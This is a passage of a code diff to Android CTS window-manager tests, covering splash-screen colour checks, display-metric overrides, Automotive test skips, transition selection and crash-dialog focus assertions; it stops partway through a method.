+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -17,6 +17,9 @@
 package android.server.wm;
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.server.wm.UiDeviceUtils.pressSleepButton;
+import static android.server.wm.UiDeviceUtils.pressUnlockButton;
+import static android.server.wm.UiDeviceUtils.pressWakeupButton;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.app.Components.HOME_ACTIVITY;
 import static android.server.wm.app.Components.SECONDARY_HOME_ACTIVITY;
@@ -193,6 +196,10 @@
             if (mTestBitmap != null) {
                 mTestBitmap.recycle();
             }
+            // Turning screen off/on to flush deferred color events due to wallpaper changed.
+            pressSleepButton();
+            pressWakeupButton();
+            pressUnlockButton();
         }
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index e145c52..13c6055 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -182,12 +182,16 @@
         private static final Pattern OVERRIDE_DENSITY =
                 Pattern.compile("Override density: (\\d+)");
 
+        /** The size of the physical display. */
         @NonNull
         final Size physicalSize;
+        /** The density of the physical display. */
         final int physicalDensity;
 
+        /** The pre-existing size override applied to a logical display. */
         @Nullable
         final Size overrideSize;
+        /** The pre-existing density override applied to a logical display. */
         @Nullable
         final Integer overrideDensity;
 
@@ -300,8 +304,21 @@
         }
 
         void changeDisplayMetrics(double sizeRatio, double densityRatio) {
-            final Size originalSize = mInitialDisplayMetrics.physicalSize;
-            final int density = mInitialDisplayMetrics.physicalDensity;
+            // Given a display may already have an override applied before the test is begun,
+            // resize based upon the override.
+            final Size originalSize;
+            final int density;
+            if (mInitialDisplayMetrics.overrideSize != null) {
+                originalSize = mInitialDisplayMetrics.overrideSize;
+            } else {
+                originalSize = mInitialDisplayMetrics.physicalSize;
+            }
+
+            if (mInitialDisplayMetrics.overrideDensity != null) {
+                density = mInitialDisplayMetrics.overrideDensity;
+            } else {
+                density = mInitialDisplayMetrics.physicalDensity;
+            }
 
             final Size overrideSize = new Size((int)(originalSize.getWidth() * sizeRatio),
                     (int)(originalSize.getHeight() * sizeRatio));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 881aab8..aa17c5e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -106,7 +106,7 @@
 import android.os.Looper;
 import android.os.RemoteCallback;
 import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.Settings;
 import android.server.wm.CommandSession.ActivityCallback;
 import android.server.wm.CommandSession.SizeInfo;
@@ -286,7 +286,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2021-03")
+    @AsbSecurityTest(cveBugId = 174302616)
     public void testEnterPipWithTinyMinimalSize() {
         // Launch a PiP activity with minimal size specified and smaller than allowed minimum
         launchActivity(PIP_ACTIVITY_WITH_TINY_MINIMAL_SIZE, extraString(EXTRA_ENTER_PIP, "true"));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index 08f4caa..50e9fb5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -81,10 +81,13 @@
 import android.view.WindowManager;
 import android.view.WindowMetrics;
 
+import androidx.core.graphics.ColorUtils;
+
 import com.android.compatibility.common.util.TestUtils;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 
 import java.util.Collections;
@@ -98,7 +101,10 @@
 @android.server.wm.annotation.Group1
 public class SplashscreenTests extends ActivityManagerTestBase {
 
-    private static final int CENTER_ICON_SIZE = 160;
+    private static final int CENTER_ICON_SIZE = 192;
+
+    @Rule
+    public final DumpOnFailure dumpOnFailure = new DumpOnFailure();
 
     @Before
     public void setUp() throws Exception {
@@ -134,9 +140,13 @@
 
     @Test
     public void testSplashscreenContent() {
+        // TODO(b/192431448): Allow Automotive to skip this test until Splash Screen is properly
+        // applied insets by system bars in AAOS.
+        assumeFalse(isCar());
+
         launchActivityNoWait(SPLASHSCREEN_ACTIVITY);
         // The windowSplashScreenContent attribute is set to RED. We check that it is ignored.
-        testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLUE, Color.BLACK);
+        testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLUE, Color.WHITE);
     }
 
     private void testSplashScreenColor(ComponentName name, int primaryColor, int secondaryColor) {
@@ -163,8 +173,6 @@
         Rect topInsetsBounds = new Rect(insets.left, 0, appBounds.right - insets.right, insets.top);
         Rect bottomInsetsBounds = new Rect(insets.left, appBounds.bottom - insets.bottom,
                 appBounds.right - insets.right, appBounds.bottom);
-        assertFalse("Top insets bounds rect is empty", topInsetsBounds.isEmpty());
-        assertFalse("Bottom insets bounds rect is empty", bottomInsetsBounds.isEmpty());
 
         if (appBounds.isEmpty()) {
             fail("Couldn't find splash screen bounds. Impossible to assert the colors");
@@ -211,9 +219,7 @@
 
         for (int x = bounds.left; x < bounds.right; x++) {
             for (int y = bounds.top; y < bounds.bottom; y++) {
-                if (ignoreRect != null && y >= ignoreRect.top && y < ignoreRect.bottom
-                        && x >= ignoreRect.left && x < ignoreRect.right) {
-                    img.setPixel(x, y, Color.YELLOW);
+                if (ignoreRect != null && ignoreRect.contains(x, y)) {
                     continue;
                 }
                 final int color = img.getPixel(x, y);
@@ -222,7 +228,6 @@
                 } else if (isSimilarColor(secondaryColor, color)) {
                     secondaryPixels++;
                 } else {
-                    img.setPixel(x, y, Color.MAGENTA);
                     wrongPixels++;
                 }
             }
@@ -235,6 +240,7 @@
 
         final float primaryRatio = (float) primaryPixels / totalPixels;
         if (primaryRatio < expectedPrimaryRatio) {
+            generateFailureImage(img, bounds, primaryColor, secondaryColor, ignoreRect);
             fail("Less than " + (expectedPrimaryRatio * 100.0f)
                     + "% of pixels have non-primary color primaryPixels=" + primaryPixels
                     + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
@@ -243,22 +249,75 @@
         // On circular displays, there is an antialiased edge.
         final float wrongRatio = (float) wrongPixels / totalPixels;
         if (wrongRatio > acceptableWrongRatio) {
+            generateFailureImage(img, bounds, primaryColor, secondaryColor, ignoreRect);
             fail("More than " + (acceptableWrongRatio * 100.0f)
                     + "% of pixels have wrong color primaryPixels=" + primaryPixels
-                    + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
+                    + " secondaryPixels=" + secondaryPixels + " wrongPixels="
+                    + wrongPixels);
         }
     }
 
+    private void generateFailureImage(Bitmap img, Rect bounds, int primaryColor,
+            int secondaryColor, Rect ignoreRect) {
+
+        // Create a bitmap with on the left the original image and on the right the result of the
+        // test. The pixel marked in green have the right color, the transparent black one are
+        // ignored and the wrong pixels have the original color.
+        final int ignoredDebugColor = 0xEE000000;
+        final int validDebugColor = 0x6600FF00;
+        Bitmap result = Bitmap.createBitmap(img.getWidth() * 2, img.getHeight(),
+                Bitmap.Config.ARGB_8888);
+
+        // Execute the exact same logic applied in assertColor() to avoid bugs between the assertion
+        // method and the failure method
+        for (int x = bounds.left; x < bounds.right; x++) {
+            for (int y = bounds.top; y < bounds.bottom; y++) {
+                final int pixel = img.getPixel(x, y);
+                if (ignoreRect != null && ignoreRect.contains(x, y)) {
+                    markDebugPixel(pixel, result, x, y, ignoredDebugColor, 0.95f);
+                    continue;
+                }
+                if (isSimilarColor(primaryColor, pixel)) {
+                    markDebugPixel(pixel, result, x, y, validDebugColor, 0.8f);
+                } else if (isSimilarColor(secondaryColor, pixel)) {
+                    markDebugPixel(pixel, result, x, y, validDebugColor, 0.8f);
+                } else {
+                    markDebugPixel(pixel, result, x, y, Color.TRANSPARENT, 0.0f);
+                }
+            }
+        }
+
+        // Mark the pixels outside the bounds as ignored
+        for (int x = 0; x < img.getWidth(); x++) {
+            for (int y = 0; y < img.getHeight(); y++) {
+                if (bounds.contains(x, y)) {
+                    continue;
+                }
+                markDebugPixel(img.getPixel(x, y), result, x, y, ignoredDebugColor, 0.95f);
+            }
+        }
+        dumpOnFailure.dumpOnFailure("splashscreen-color-check", result);
+    }
+
+    private void markDebugPixel(int pixel, Bitmap result, int x, int y, int color, float ratio) {
+        int debugPixel = ColorUtils.blendARGB(pixel, color, ratio);
+        result.setPixel(x, y, pixel);
+        int debugOffsetX = result.getWidth() / 2;
+        result.setPixel(x + debugOffsetX, y, debugPixel);
+    }
+
     @Test
     public void testHandleExitAnimationOnCreate() throws Exception {
         assumeFalse(isLeanBack());
         launchRuntimeHandleExitAnimationActivity(true, false, false, true);
     }
+
     @Test
     public void testHandleExitAnimationOnResume() throws Exception {
         assumeFalse(isLeanBack());
         launchRuntimeHandleExitAnimationActivity(false, true, false, true);
     }
+
     @Test
     public void testHandleExitAnimationCancel() throws Exception {
         assumeFalse(isLeanBack());
@@ -279,12 +338,17 @@
         mWmState.assertVisibility(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY, true);
         final TestJournalProvider.TestJournal journal =
                 TestJournalProvider.TestJournalContainer.get(HANDLE_SPLASH_SCREEN_EXIT);
-        TestUtils.waitUntil("Waiting for runtime onSplashScreenExit", 5 /* timeoutSecond */,
-                () -> expectResult == journal.extras.getBoolean(RECEIVE_SPLASH_SCREEN_EXIT));
-        assertEquals(expectResult, journal.extras.getBoolean(CONTAINS_CENTER_VIEW));
-        assertEquals(expectResult, journal.extras.getBoolean(CONTAINS_BRANDING_VIEW));
-        assertEquals(expectResult ? Color.BLUE : Color.TRANSPARENT,
-                journal.extras.getInt(ICON_BACKGROUND_COLOR));
+        if (expectResult) {
+            TestUtils.waitUntil("Waiting for runtime onSplashScreenExit", 5 /* timeoutSecond */,
+                    () -> journal.extras.getBoolean(RECEIVE_SPLASH_SCREEN_EXIT));
+            assertTrue("No entry for CONTAINS_CENTER_VIEW",
+                    journal.extras.containsKey(CONTAINS_CENTER_VIEW));
+            assertTrue("No entry for CONTAINS_BRANDING_VIEW",
+                    journal.extras.containsKey(CONTAINS_BRANDING_VIEW));
+            assertTrue("Center View shouldn't be null", journal.extras.getBoolean(CONTAINS_CENTER_VIEW));
+            assertTrue(journal.extras.getBoolean(CONTAINS_BRANDING_VIEW));
+            assertEquals(Color.BLUE, journal.extras.getInt(ICON_BACKGROUND_COLOR, Color.YELLOW));
+        }
     }
 
     @Test
@@ -315,8 +379,12 @@
 
     @Test
     public void testSetBackgroundColorActivity() {
+        // TODO(b/192431448): Allow Automotive to skip this test until Splash Screen is properly
+        // applied insets by system bars in AAOS.
+        assumeFalse(isCar());
+
         launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, extraBool(DELAY_RESUME, true));
-        testSplashScreenColor(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, Color.BLUE, Color.BLACK);
+        testSplashScreenColor(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, Color.BLUE, Color.WHITE);
     }
 
     @Test
@@ -362,6 +430,10 @@
 
     @Test
     public void testShortcutChangeTheme() {
+        // TODO(b/192431448): Allow Automotive to skip this test until Splash Screen is properly
+        // applied insets by system bars in AAOS.
+        assumeFalse(isCar());
+
         final LauncherApps launcherApps = mContext.getSystemService(LauncherApps.class);
         final ShortcutManager shortcutManager = mContext.getSystemService(ShortcutManager.class);
         assumeTrue(launcherApps != null && shortcutManager != null);
@@ -379,12 +451,31 @@
         try {
             shortcutManager.addDynamicShortcuts(Collections.singletonList(shortcut));
             runWithShellPermission(() -> launcherApps.startShortcut(shortcut, null, null));
-            testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLACK, Color.BLACK);
+            testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLACK, Color.WHITE);
         } finally {
             shortcutManager.removeDynamicShortcuts(Collections.singletonList(shortCutId));
         }
     }
 
+    private void waitAndAssertOverrideThemeColor(int expectedColor) {
+        final ComponentName activity = SPLASH_SCREEN_REPLACE_THEME_ACTIVITY;
+        final Bundle resultExtras = Condition.waitForResult(
+                new Condition<Bundle>("splash screen theme color of " + activity)
+                        .setResultSupplier(() -> TestJournalProvider.TestJournalContainer.get(
+                                OVERRIDE_THEME_COMPONENT).extras)
+                        .setResultValidator(extras -> extras.containsKey(OVERRIDE_THEME_COLOR)));
+        if (resultExtras == null) {
+            fail("No reported override theme color from " + activity);
+        }
+        if (expectedColor > 0) {
+            assertEquals("Override theme color must match",
+                    Integer.toHexString(expectedColor),
+                    Integer.toHexString(resultExtras.getInt(OVERRIDE_THEME_COLOR)));
+        }
+        mWmState.waitForActivityRemoved(activity);
+        separateTestJournal();
+    }
+
     @Test
     public void testOverrideSplashscreenTheme() {
         assumeFalse(isLeanBack());
@@ -393,36 +484,23 @@
         // Pre-launch the activity to ensure status is cleared on the device
         startActivityFromTestLauncher(homeActivity, SPLASH_SCREEN_REPLACE_THEME_ACTIVITY,
                 intent -> {});
-        mWmState.waitAndAssertActivityRemoved(SPLASH_SCREEN_REPLACE_THEME_ACTIVITY);
+        waitAndAssertOverrideThemeColor(0 /* ignore */);
 
         // Launch the activity a first time, check that the splashscreen use the default theme,
         // and override the theme for the next launch
-        TestJournalProvider.TestJournal journal = TestJournalProvider.TestJournalContainer.get(
-                OVERRIDE_THEME_COMPONENT);
-
         startActivityFromTestLauncher(homeActivity, SPLASH_SCREEN_REPLACE_THEME_ACTIVITY,
                 intent -> intent.putExtra(OVERRIDE_THEME_ENABLED, true));
-        mWmState.waitForActivityRemoved(SPLASH_SCREEN_REPLACE_THEME_ACTIVITY);
-        assertEquals(Integer.toHexString(Color.BLUE),
-                Integer.toHexString(journal.extras.getInt(OVERRIDE_THEME_COLOR)));
+        waitAndAssertOverrideThemeColor(Color.BLUE);
 
         // Launch the activity a second time, check that the theme has been overridden and reset
         // to the default theme
         startActivityFromTestLauncher(homeActivity, SPLASH_SCREEN_REPLACE_THEME_ACTIVITY,
                 intent -> {});
-        mWmState.waitForActivityRemoved(SPLASH_SCREEN_REPLACE_THEME_ACTIVITY);
-
-        journal = TestJournalProvider.TestJournalContainer.get(OVERRIDE_THEME_COMPONENT);
-        assertEquals(Integer.toHexString(Color.RED),
-                Integer.toHexString(journal.extras.getInt(OVERRIDE_THEME_COLOR)));
+        waitAndAssertOverrideThemeColor(Color.RED);
 
         // Launch the activity a third time just to check that the theme has indeed been reset.
         startActivityFromTestLauncher(homeActivity, SPLASH_SCREEN_REPLACE_THEME_ACTIVITY,
                 intent -> {});
-        mWmState.waitForActivityRemoved(SPLASH_SCREEN_REPLACE_THEME_ACTIVITY);
-
-        journal = TestJournalProvider.TestJournalContainer.get(OVERRIDE_THEME_COMPONENT);
-        assertEquals(Integer.toHexString(Color.BLUE),
-                Integer.toHexString(journal.extras.getInt(OVERRIDE_THEME_COLOR)));
+        waitAndAssertOverrideThemeColor(Color.BLUE);
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
index 6d62599..5f069e0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
@@ -16,11 +16,12 @@
 package android.server.wm;
 
 import static android.server.wm.ActivityManagerTestBase.createFullscreenActivityScenarioRule;
+import static android.view.cts.surfacevalidator.ASurfaceControlTestActivity.MultiRectChecker;
+import static android.view.cts.surfacevalidator.ASurfaceControlTestActivity.RectChecker;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Rect;
@@ -28,9 +29,9 @@
 import android.view.Surface;
 import android.view.SurfaceControl;
 import android.view.SurfaceHolder;
-import android.view.cts.surfacevalidator.PixelColor;
 import android.view.cts.surfacevalidator.ASurfaceControlTestActivity;
 import android.view.cts.surfacevalidator.ASurfaceControlTestActivity.PixelChecker;
+import android.view.cts.surfacevalidator.PixelColor;
 
 import androidx.annotation.NonNull;
 import androidx.test.ext.junit.rules.ActivityScenarioRule;
@@ -70,33 +71,6 @@
         public void surfaceDestroyed(@NonNull SurfaceHolder holder) {}
     }
 
-    private class RectChecker extends ASurfaceControlTestActivity.PixelChecker {
-        private final Rect mBoundsToCheck;
-        RectChecker(Rect boundsToCheck, int expectedColor) {
-            super(expectedColor);
-            mBoundsToCheck = boundsToCheck;
-        }
-        public boolean checkPixels(int matchingPixelCount, int width, int height) {
-            int expectedPixelCountMin = mBoundsToCheck.width() * mBoundsToCheck.height() - 100;
-            int expectedPixelCountMax = mBoundsToCheck.width() * mBoundsToCheck.height();
-            return matchingPixelCount > expectedPixelCountMin &&
-                    matchingPixelCount <= expectedPixelCountMax;
-        }
-
-        @Override
-        public Rect getBoundsToCheck(Bitmap bitmap) {
-            return mBoundsToCheck;
-        }
-    }
-
-    private abstract class MultiRectChecker extends RectChecker {
-        MultiRectChecker(Rect boundsToCheck, int expectedColor) {
-            super(boundsToCheck, expectedColor);
-        }
-
-        public abstract PixelColor getExpectedColor(int x, int y);
-    }
-
     private void verifyTest(SurfaceHolder.Callback callback,
             PixelChecker pixelChecker) throws Throwable {
         mActivity.verifyTest(callback, pixelChecker, 0 /* delayInMs */);
@@ -289,7 +263,7 @@
                 },
 
                 // The rect should be offset by -50 pixels
-                new MultiRectChecker(new Rect(0, 0, 100, 100), PixelColor.RED) {
+                new MultiRectChecker(new Rect(0, 0, 100, 100)) {
                     final PixelColor red = new PixelColor(PixelColor.RED);
                     final PixelColor black = new PixelColor(PixelColor.BLACK);
                     @Override
@@ -322,7 +296,7 @@
                 },
 
                 // The rect should be offset by 50 pixels
-                new MultiRectChecker(new Rect(0, 0, 100, 100), PixelColor.RED) {
+                new MultiRectChecker(new Rect(0, 0, 100, 100)) {
                     final PixelColor red = new PixelColor(PixelColor.RED);
                     final PixelColor black = new PixelColor(PixelColor.BLACK);
                     @Override
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
index c5f4a21..ea007aa 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
@@ -31,18 +31,18 @@
 import static android.server.wm.app.Components.BottomActivity.EXTRA_STOP_DELAY;
 import static android.server.wm.app.Components.TOP_ACTIVITY;
 import static android.server.wm.app.Components.TOP_NON_RESIZABLE_ACTIVITY;
+import static android.server.wm.app.Components.TOP_NON_RESIZABLE_WALLPAPER_ACTIVITY;
+import static android.server.wm.app.Components.TOP_WALLPAPER_ACTIVITY;
 import static android.server.wm.app.Components.TRANSLUCENT_TOP_ACTIVITY;
 import static android.server.wm.app.Components.TRANSLUCENT_TOP_NON_RESIZABLE_ACTIVITY;
+import static android.server.wm.app.Components.TRANSLUCENT_TOP_WALLPAPER_ACTIVITY;
 import static android.server.wm.app.Components.TopActivity.EXTRA_FINISH_DELAY;
-import static android.server.wm.app.Components.TopActivity.EXTRA_TOP_WALLPAPER;
 
 import static org.junit.Assert.assertEquals;
 
 import android.content.ComponentName;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
-
 import org.junit.Test;
 
 /**
@@ -86,7 +86,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 188904549)
     public void testOpenActivity_BothWallpaper() {
         testOpenActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
                 false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
@@ -288,10 +287,16 @@
         final ComponentName topActivity;
         if (topTranslucent && !topResizable) {
             topActivity = TRANSLUCENT_TOP_NON_RESIZABLE_ACTIVITY;
+        } else if (topTranslucent && topWallpaper) {
+            topActivity = TRANSLUCENT_TOP_WALLPAPER_ACTIVITY;
         } else if (topTranslucent) {
             topActivity = TRANSLUCENT_TOP_ACTIVITY;
+        } else if (!topResizable && topWallpaper) {
+            topActivity = TOP_NON_RESIZABLE_WALLPAPER_ACTIVITY;
         } else if (!topResizable) {
             topActivity = TOP_NON_RESIZABLE_ACTIVITY;
+        } else if (topWallpaper) {
+            topActivity = TOP_WALLPAPER_ACTIVITY;
         } else {
             topActivity = TOP_ACTIVITY;
         }
@@ -299,9 +304,6 @@
         if (testNewTask) {
             topStartCmd += " -f 0x18000000";
         }
-        if (topWallpaper) {
-            topStartCmd += " --ez " + EXTRA_TOP_WALLPAPER + " true";
-        }
         if (!testOpen) {
             topStartCmd += " --ei " + EXTRA_FINISH_DELAY + " 1000";
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
index 99e9659..de323ac 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
@@ -77,7 +77,7 @@
             showOnFirstCrashDev.set(0);
             launchActivityNoWait(Components.CRASHING_ACTIVITY);
             findCrashDialogAndCloseApp();
-            ensureHomeFocused();
+            ensureActivityNotFocused(Components.CRASHING_ACTIVITY);
 
             resetAppErrors();
 
@@ -86,7 +86,7 @@
             showOnFirstCrashDev.set(1);
             launchActivityNoWait(Components.CRASHING_ACTIVITY);
             findCrashDialogAndCloseApp();
-            ensureHomeFocused();
+            ensureActivityNotFocused(Components.CRASHING_ACTIVITY);
         }
     }
 
@@ -109,7 +109,7 @@
 
             launchActivityNoWait(Components.CRASHING_ACTIVITY);
             findCrashDialogAndCloseApp();
-            ensureHomeFocused();
+            ensureActivityNotFocused(Components.CRASHING_ACTIVITY);
         }
     }
 
@@ -127,7 +127,7 @@
             launchActivityNoWait(Components.CRASHING_ACTIVITY);
 
             ensureNoCrashDialog(Components.CRASHING_ACTIVITY);
-            ensureHomeFocused();
+            ensureActivityNotFocused(Components.CRASHING_ACTIVITY);
         }
     }
 
@@ -150,7 +150,7 @@
                 launchActivityNoWait(Components.CRASHING_ACTIVITY);
                 ensureNoCrashDialog(Components.CRASHING_ACTIVITY);
             }
-            ensureHomeFocused();
+            ensureActivityNotFocused(Components.CRASHING_ACTIVITY);
         }
     }
 
@@ -170,7 +170,7 @@
             SystemClock.sleep(500);
         }
         ensureNoCrashDialog(Components.UNRESPONSIVE_ACTIVITY);
-        ensureHomeFocused();
+        ensureActivityNotFocused(Components.UNRESPONSIVE_ACTIVITY);
     }
 
     private void findCrashDialogAndCloseApp() {
@@ -189,10 +189,9 @@
         assertEquals(0, numWindows);
     }
 
-    private void ensureHomeFocused() {
+    private void ensureActivityNotFocused(ComponentName activity) {
         mWmState.computeState();
-        mWmState.assertFocusedActivity("The home activity should be visible!",
-                mWmState.getHomeActivityName());
+        mWmState.assertNotFocusedActivity("The activity should not be focused", activity);
     }
 
     /** Attempt to find the close button of a crash or ANR dialog in at most 2 seconds. */
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index e71685a..0b42360 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -262,6 +262,10 @@
         primaryActivity.waitAndAssertPointerCaptureState(true /* hasCapture */);
 
         assumeTrue(supportsMultiDisplay());
+
+        // This test only makes sense if `config_perDisplayFocusEnabled` is disabled.
+        assumeFalse(perDisplayFocusEnabled());
+
         final SecondaryActivity secondaryActivity =
                 createManagedInvisibleDisplaySession().startActivityAndFocus();
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index e84f0a6..1d9164d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -42,6 +42,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
@@ -140,6 +141,11 @@
 
     @Before
     public void setUpWindowInsetsAnimationControllerTests() throws Throwable {
+        assumeFalse(
+                "In Automotive, auxiliary inset changes can happen when IME inset changes, so "
+                        + "allow Automotive skip IME inset animation tests.",
+                isCar() && mType == ime());
+
         final ImeEventStream mockImeEventStream;
         if (mType == ime()) {
             final Instrumentation instrumentation = getInstrumentation();
@@ -779,7 +785,8 @@
             mErrorCollector.checkThat("onEnd for this animation was already dispatched",
                     mEndedAnimations, not(hasItem(animation)));
             mErrorCollector.checkThat("onEnd: animation must be either running or prepared",
-                    mRunningAnimations.contains(animation) || mEndedAnimations.contains(animation),
+                    mRunningAnimations.contains(animation)
+                            || mPreparedAnimations.contains(animation),
                     is(true));
             mRunningAnimations.remove(animation);
             mPreparedAnimations.remove(animation);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
index 3389409..ce8889c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
@@ -24,6 +24,7 @@
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.argThat;
@@ -55,6 +56,11 @@
     @Before
     public void setup() throws Exception {
         super.setUp();
+        assumeFalse(
+                "Automotive is to skip this test until showing and hiding certain insets "
+                        + "simultaneously in a single request is supported",
+                mInstrumentation.getContext().getPackageManager().hasSystemFeature(
+                        PackageManager.FEATURE_AUTOMOTIVE));
         assumeTrue("MockIme cannot be used for devices that do not support installable IMEs",
                 mInstrumentation.getContext().getPackageManager().hasSystemFeature(
                         PackageManager.FEATURE_INPUT_METHODS));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 02ee61d..133ba64 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -48,6 +48,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
@@ -671,6 +672,8 @@
 
     @Test
     public void testDispatchApplyWindowInsetsCount_ime() throws Exception {
+        assumeFalse("Automotive is to skip this test until showing and hiding certain insets "
+                + "simultaneously in a single request is supported", isAutomotive(mContext));
         assumeThat(MockImeSession.getUnavailabilityReason(getInstrumentation().getContext()),
                 nullValue());
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsLayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsLayoutTests.java
index e622ad3..4838c01 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsLayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsLayoutTests.java
@@ -27,15 +27,15 @@
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.Insets;
-import android.graphics.Point;
+import android.graphics.Rect;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
-import android.view.Display;
 import android.view.View;
 import android.view.WindowInsets;
 import android.view.WindowInsets.Side;
 import android.view.WindowInsets.Type;
 import android.view.WindowManager;
+import android.view.WindowMetrics;
 
 import androidx.annotation.Nullable;
 import androidx.test.filters.FlakyTest;
@@ -68,7 +68,7 @@
         PollingCheck.waitFor(TIMEOUT, () -> mainWindowRoot.getWidth() > 0);
 
         getInstrumentation().runOnMainSync(() -> {
-            activity.assertMatchDisplay();
+            activity.assertMatchesWindowBounds();
         });
 
         testSetFitInsetsTypesInner(Type.statusBars(), activity, mainWindowRoot);
@@ -112,7 +112,7 @@
         PollingCheck.waitFor(TIMEOUT, () -> mainWindowRoot.getWidth() > 0);
 
         getInstrumentation().runOnMainSync(() -> {
-            activity.assertMatchDisplay();
+            activity.assertMatchesWindowBounds();
         });
 
         testSetFitInsetsSidesInner(Side.LEFT, activity, mainWindowRoot);
@@ -163,7 +163,7 @@
         final int[] locationAndSize2 = new int[4];
 
         getInstrumentation().runOnMainSync(() -> {
-            activity.assertMatchDisplay();
+            activity.assertMatchesWindowBounds();
             activity.addChildWindow(types, sides, false);
         });
 
@@ -232,17 +232,16 @@
             return mChildWindowRoot;
         }
 
-        void assertMatchDisplay() {
+        void assertMatchesWindowBounds() {
             final View rootView = getWindow().getDecorView();
